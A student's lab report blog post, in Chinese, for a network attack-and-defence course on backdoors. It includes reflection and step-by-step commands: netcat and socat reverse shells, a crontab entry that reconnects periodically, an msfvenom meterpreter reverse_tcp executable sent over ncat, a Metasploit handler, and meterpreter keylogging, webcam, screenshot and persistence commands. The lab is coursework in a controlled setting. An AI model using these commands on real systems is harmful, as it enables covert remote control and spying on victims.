《网络攻防》实验二:后门原理与实践

《网络攻防》实验二:后门原理与实践

实验内容

(1)使用netcat获取主机操作Shell,cron启动

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

报告内容:

1.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
看到题目,我第一反应是想起上学期做过一个“灰鸽子”实验,即在正常的网页后加入一个引向装有木马网站的链接。然而仅仅这么回答还是太简单了,为了让答案丰富些,以下方式,度娘提供

1.操作系统自带服务; 
2.网络协议捆绑;
3.软件编写者制作; 
4.漏洞攻击后放置; 
5.社会工程学等相关方式;

(2)例举你知道的后门如何启动起来(win及linux)的方式?
通过cron定时,肉鸡主动出击,向控制主机发送端口连接指令。
(3)Meterpreter有哪些给你映像深刻的功能?
为了可以回答这个问题,我特地先百度了一下Meterpreter的定义和功能,可谓是做足了功课啊啊啊。首先,Meterpreter是Metasploit的默认Windows系统下的Shell Code(引用百度)。在做了实验后,我觉得Meterpreter的功能十分丰富,我饶有兴趣地查了一下Meterpreter的常用功能,具体如下:

(4)如何发现自己有系统有没有被安装后门?
从上学期实验中,我们了解恶意代码具有复制重命名的能力,一般为了迷惑电脑用户,会选择notepad、System、winlogon.exe、services.exe这些“老生常谈,俗不可耐”的名字。如果以上“张三们”的执行路径种在非系统的system32目录下发现,而不是在system32下,那这就是一个男默女泪的故事了。

2.实验总结与体会
(咦?据说这是只有认真做完实验的人才有资格写的版块,吓得我耳机都丢了。以前认为写博客像做语文作业,可以一边听歌一边做摘抄,放松心情,缓解疲劳,好不快哉!现在觉得像数学作业,这样一心两用,会放慢组织语言的速度。额,跑题了,那换个方向接着跑吧。之前,我一直都是动手能力差,做实验很慢的人(现在也是!)然而这次网络攻防实验,荣升组长,第一感觉并不美妙,因为我感觉自己没有实事求是,明明自己不配也不想当组长,然而莫名其妙地我被当成组长了。根据陈老师教过的知识,我应该是犯了立场?环境?经验?利益?能力?的主义错误。然往者不可谏,来者犹可追。既然当了组长,就要承担起相应的任务和义务。首先是为了能在周三前写完博客并提交,还要帮助组员完成实验,我早早就开始做实验了。然而虽是凌晨,东方还未既白,一个人披星戴月地赶路,终究还是困顿难行的。在完成实验的过程遇到了很少的问题,琐碎的有下载好netcat,但未配置好环境变量,结果运行指令显示不是内部指令,大问题有无法打开20145213.exe,或linux一直处于监听状态,就是无法连接上等等。所幸,一路虽然坎坷崎岖,自己倒也跌跌撞撞,坚持下来,幸不辱命!当然,成功的我背后也站着给予我帮助,优秀的同行者。虽然他们大多“耽于美色”,但我每每三顾茅庐,俯身倾耳以请,还是有所收获。写到这,想起一句话“帮你是情分,不帮是本分。”我突然觉得“三顾茅庐”是一种耍流氓,如果别人不愿意帮忙,你无休止地请求监听,他又不能像关闭端口一样置身事外,久而久之,只能让人生厌。在完成实验过程中,不能总奢求他们有涌泉之助。如有滴水之恩,就应该心怀感恩,见好就收。我现在觉得,别人的帮忙,只能是一种锦上添花。你在奢望别人的雪中送碳的同时,也否决了自己成为火炉,可以温暖周围人的可能了。刚刚,在帮助一个组员解决问题,成功完成了实验后,我有点惊讶自己的脱变,怀有帮助别人的愉悦心情与成就感写下了这段文字,与诸位分享!

3.实践过程记录
在参考高其同学的博客后,感觉自己收获颇丰,于是趁热打铁,马不停蹄开始动手实践啦!
正所谓万事开头难,为了讨个好彩头,先做个简单一点的任务,给自己加个自信Buff吧。请看第一题**使用netcat获取主机操作Shell,cron启动 **。磨刀不误砍柴工,先让我们了解一下这把在网络工具中有“瑞士军刀”美誉的NetCat.简单地说,就是一个端口扫描器,主要用它来完成

1.扫描指定IP端口情况
 
2.端口转发数据(重点)
 
3.提交自定义数据包

首先,我们要ping通主机和虚拟机,本次实验中主机IP172.20.10.3,虚拟机IP为192.168.88.142

windows主机与kali虚拟机实现互联互通,这个过程需要主机监听端口,虚拟机发出请求。依下图可知,

主机监听5213端口的指令为ncat -l -p 5213

虚拟机请求指令为nc 172.20.10.3 5213

接下来,我们要使用netcat获取主机操作Shell。在此之前,请下载好(netcar)[http://git.oschina.net/wildlinux/NetSec/attach_files],并配置好环境变量。

Windows获得Linux的Shell

首先,主机开启监听端口5213
接着,在虚拟机上反弹连接5213端口
最后,主机输入操作指令,例如ls

cron启动

我们都知道,同样是摘花,“一枝红杏出墙来”比“爬上东墙等红杏”更隐蔽,更省力。反弹端口型木马同理,如果我们可以定时发送指令,让肉鸡主动连接,不亦乐乎?
开门见山,先递上一个热乎的使用手册linux中Cron定时任务系统命令详解
输入指令crontab -e进入编辑状态,输i进行编辑,在最后一行,输入主动连接指令,wq保存退出。

使用socat获取主机操作Shell

老规矩,下载安装socat软件,配置好环境变量。
在主机上输入指令socat tcp-listen:5213 exec:cmd,pty,stderr
虚拟机上输入指令socat - tcp:172.30.6.85:5221

使用MSF meterpreter生成可执行文件

目标:通过meterpreter在肉鸡上生成后门可执行程序:20145213.exe
在虚拟机上输入指令(别问我为什么这么长,什么意思,我完全引用老师的)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5213 -f exe > 20145213.exe


主机输入指令ncat.exe -lv 5213 > 20145213.exe
虚拟机输入指令ncat -nv 172.20.10.3 5213 < 20145213.exe把文件传送过去

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在虚拟机上输入如下指令
msfconsole:进入msf
use exploit/multi/handler:进入handler模式
set payload windows/meterpreter/reverse_tcp:设置payload
show options:查看当前信息状态
set LHOST Kali的IP(攻击者):设置LHOST
set LPORT 5213:设置LPORT
exploit:MSF开始监听

在肉鸡打开运行20145213.exe木马程序,如果出现这种情况

我们可以放弃了,把后门程序放到靶机上试试。
诺~这次我选择的新肉鸡是windows7虚拟机,再重复上次步骤,在输入IP地址是,稍微注意一下,便成功了。如下:
输入help指令查看可以使用的指令:

输入screenshot指令进行屏幕截图:

还有很多其他功能像输入keyscan_startkeyscan_dump来记录靶机的键盘输入、输入指令webcam_snap捕捉键盘记录、输入run metsvc为主机安装一些系统服务,同学的博客很详细,我这里偷个小懒,就不截图啦。

posted @ 2017-03-15 23:28  20145213祁玮  阅读(925)  评论(0编辑  收藏  举报